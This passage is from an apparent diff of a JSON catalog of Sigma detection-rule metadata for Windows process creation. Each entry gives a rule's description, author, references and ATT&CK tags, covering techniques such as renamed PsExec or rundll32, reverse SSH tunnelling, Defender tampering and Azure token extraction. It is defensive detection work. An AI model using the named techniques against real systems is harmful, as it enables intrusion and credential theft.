"8c0eca51-0f88-4db2-9183-fdfb10c703f9", - "value": "Registry Disabling LSASS PPL" - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_reg_service_imagepath_change.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.011" - ] - }, - "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db", - "value": "Service ImagePath Change with Reg.exe" - }, - { - "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_remote_desktop_tunneling.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_desktop_tunneling.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021" - ] - }, - "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f", - "value": "Potential Remote Desktop Tunneling" - }, - { - "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_remote_file_download_desktopimgdownldr.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_file_download_desktopimgdownldr.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e", - "value": "Remote File Download via Desktopimgdownldr Utility" - }, - { - "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", - "falsepositive": [ - "Legitimate usage of remote Powershell, e.g. for monitoring purposes." - ], - "filename": "proc_creation_win_remote_powershell_session_process.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_powershell_session_process.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1021.006" - ] - }, - "uuid": "734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8", - "value": "Remote PowerShell Session Host Process (WinRM)" - }, - { - "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate use of the system utilities to discover system time for legitimate reason" - ], - "filename": "proc_creation_win_remote_time_discovery.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", - "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1124" - ] - }, - "uuid": "b243b280-65fe-48df-ba07-6ddea7646427", - "value": "Discovery of a System Time" - }, - { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", - "meta": { - "author": "frack113", - "creation_date": "2021/07/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_remove_windows_defender_definition_files.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml", - "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c", - "value": "Remove Windows Defender Definition Files" - }, - { - "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", - "meta": { - "author": "Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades)", - "creation_date": "2019/06/15", - "falsepositive": [ - "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", - "PsExec installed via Windows Store doesn't contain original filename field (False negative)" - ], - "filename": "proc_creation_win_renamed_binary.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/techniques/T1036/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml", - "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142", - "value": "Renamed Binary" - }, - { - "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", - "meta": { - "author": "Matthew Green - @mgreen27, Florian Roth", - "creation_date": "2019/06/15", - "falsepositive": [ - "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" - ], - "filename": "proc_creation_win_renamed_binary_highly_relevant.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml", - "https://attack.mitre.org/techniques/T1036/", - "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e", - "value": "Highly Relevant Renamed Binary" - }, - { - "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/06/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_browsercore.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml", - "https://twitter.com/mariuszbit/status/1531631015139102720" - ], - "tags": [ - "attack.t1528", - "attack.t1036.003" - ] - }, - "uuid": "8a4519e8-e64a-40b6-ae85-ba8ad2177559", - "value": "Process Creation with Renamed BrowserCore.exe" - }, - { - "description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", - "meta": { - "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_ftp.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c", - "value": "Renamed FTP.EXE Binary Execution" - }, - { - "description": "Detects renamed jusched.exe used by cobalt group", - "meta": { - "author": "Markus Neis, Swisscom", - "creation_date": "2019/06/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_jusched.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml", - "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb", - "value": "Renamed jusched.exe" - }, - { - "description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/06/22", - "falsepositive": [ - "Software that illegaly integrates MegaSync in a renamed form", - "Administrators that have renamed MegaSync" - ], - "filename": "proc_creation_win_renamed_megasync.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/rclone-mega-extortion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", - "value": "Renamed MegaSync" - }, - { - "description": "Detects process creation with a renamed Msdt.exe", - "meta": { - "author": "pH-T", - "creation_date": "2022/06/03", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_renamed_msdt.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9", - "value": "Renamed Msdt.exe" - }, - { - "description": "Detects execution of renamed client32.exe (NetSupport RAT) via Imphash, Product and OriginalFileName strings", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_netsupport_rat.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "0afbd410-de03-4078-8491-f132303cb67d", - "value": "Execution of Renamed NetSupport RAT" - }, - { - "description": "Detects execution of renamed paexec via imphash and executable product string", - "meta": { - "author": "Jason Lynch", - "creation_date": "2019/04/17", - "falsepositive": [ - "Unknown imphashes" - ], - "filename": "proc_creation_win_renamed_paexec.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003", - "attack.g0046", - "car.2013-05-009", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "7b0666ad-3e38-4e3d-9bab-78b06de85f7b", - "value": "Execution of Renamed PaExec" - }, - { - "description": "Execution of a renamed version of the Plink binary", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_plink.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", - "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43", - "value": "Execution Of Renamed Plink Binary" - }, - { - "description": "Detects the execution of a renamed PowerShell often used by attackers or malware", - "meta": { - "author": "Florian Roth, frack113", - "creation_date": "2019/08/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_powershell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/christophetd/status/1164506034720952320", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_powershell.yml" - ], - "tags": [ - "car.2013-05-009", - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20", - "value": "Renamed PowerShell" - }, - { - "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/11/18", - "falsepositive": [ - "Procdump illegaly bundled with legitimate software", - "Weird admins who renamed binaries (and should be investigated)" - ], - "filename": "proc_creation_win_renamed_procdump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml", - "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67", - "value": "Renamed ProcDump" - }, - { - "description": "Detects the execution of a renamed PsExec often used by attackers or malware", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/05/21", - "falsepositive": [ - "Software that illegaly integrates PsExec in a renamed form", - "Administrators that have renamed PsExec and no one knows why" - ], - "filename": "proc_creation_win_renamed_psexec.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_psexec.yml" - ], - "tags": [ - "car.2013-05-009", - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2", - "value": "Renamed PsExec" - }, - { - "description": "Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_rundll32.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32.yml" - ], - "tags": "No established tags" - }, - "uuid": "d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2", - "value": "Renamed Rundll32.exe Execution" - }, - { - "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/22", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed", - "value": "DllRegisterServer Call From Non Rundll32" - }, - { - "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_rurat.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.collection", - "attack.command_and_control", - "attack.discovery", - "attack.s0592" - ] - }, - "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5", - "value": "Execution of Renamed Remote Utilities RAT (RURAT)" - }, - { - "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/06", - "falsepositive": [ - "System administrator usage" - ], - "filename": "proc_creation_win_renamed_sdelete.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml", - "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90", - "value": "Renamed Sysinternals Sdelete Usage" - }, - { - "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", - "meta": { - "author": "elhoim", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_vmnat.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/malmoeb/status/1525901219247845376", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", - "value": "Renamed or Portable Vmnat.exe" - }, - { - "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_renamed_whoami.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ] - }, - "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0", - "value": "Renamed Whoami Execution" - }, - { - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", - "meta": { - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/10", - "falsepositive": [ - "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" - ], - "filename": "proc_creation_win_root_certificate_installed.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_root_certificate_installed.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ] - }, - "uuid": "46591fae-7a4c-46ea-aec3-dff5e6d785dc", - "value": "Root Certificate Installed" - }, - { - "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/13", - "falsepositive": [ - "Unknown", - "Some cases in which the service spawned a werfault.exe process" - ], - "filename": "proc_creation_win_rpcss_anomalies.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml", - "https://twitter.com/cyb3rops/status/1514217991034097664", - "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", - "value": "Remote Procedure Call Service Anomaly" - }, - { - "description": "Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.", - "meta": { - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2022/01/25", - "falsepositive": [ - "Rare false positives could occur on servers with multiple drives." - ], - "filename": "proc_creation_win_rundll32_not_from_c_drive.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml" - ], - "tags": [ - "attack.t1218.001" - ] - }, - "uuid": "d4ca7c59-e9e4-42d8-bf57-91a776efcb87", - "value": "Rundll32 From Abnormal Drive" - }, - { - "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", - "meta": { - "author": "CD_ROM_", - "creation_date": "2022/05/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_rundll32_parent_explorer.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", - "value": "Rundll32 With Suspicious Parent Process" - }, - { - "description": "load malicious registered COM objects", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_rundll32_registered_com_objects.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml", - "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316", - "value": "Rundll32 Registered COM Objects" - }, - { - "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_rundll32_unc_path.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml", - "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1021.002", - "attack.t1218.011" - ] - }, - "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac", - "value": "Rundll32 UNC Path Execution" - }, - { - "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", - "meta": { - "author": "Bartlomiej Czyz, Relativity", - "creation_date": "2021/01/31", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_rundll32_without_parameters.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml", - "https://bczyz1.github.io/2021/01/30/psexec.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1570", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "5bb68627-3198-40ca-b458-49f973db8752", - "value": "Rundll32 Without Parameters" - }, - { - "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", - "meta": { - "author": "Tim Shelton, Florian Roth, Yassine Oukessou (fix + fp)", - "creation_date": "2022/01/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_run_executable_invalid_extension.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1481630810495139841?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_executable_invalid_extension.yml" - ], - "tags": "No established tags" - }, - "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf", - "value": "Rundll32 Execution Without DLL File" - }, - { - "description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_run_from_zip.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "1a70042a-6622-4a2b-8958-267625349abf", - "value": "Run from a Zip File" - }, - { - "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", - "meta": { - "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", - "creation_date": "2019/10/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_run_powershell_script_from_ads.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8", - "value": "Run PowerShell Script from ADS" - }, - { - "description": "Detects PowerShell script execution via input stream redirect", - "meta": { - "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", - "creation_date": "2020/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_run_powershell_script_from_input_stream.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml", - "https://twitter.com/Moriarty_Meng/status/984380793383370752", - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476", - "value": "Run PowerShell Script from Redirected Input Stream" - }, - { - "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", - "meta": { - "author": "Janantha Marasinghe", - "creation_date": "2020/09/26", - "falsepositive": [ - "This may have false positives on hosts where Virtualbox is legitimately being used for operations" - ], - "filename": "proc_creation_win_run_virtualbox.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml", - "https://attack.mitre.org/techniques/T1564/006/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.006", - "attack.t1564" - 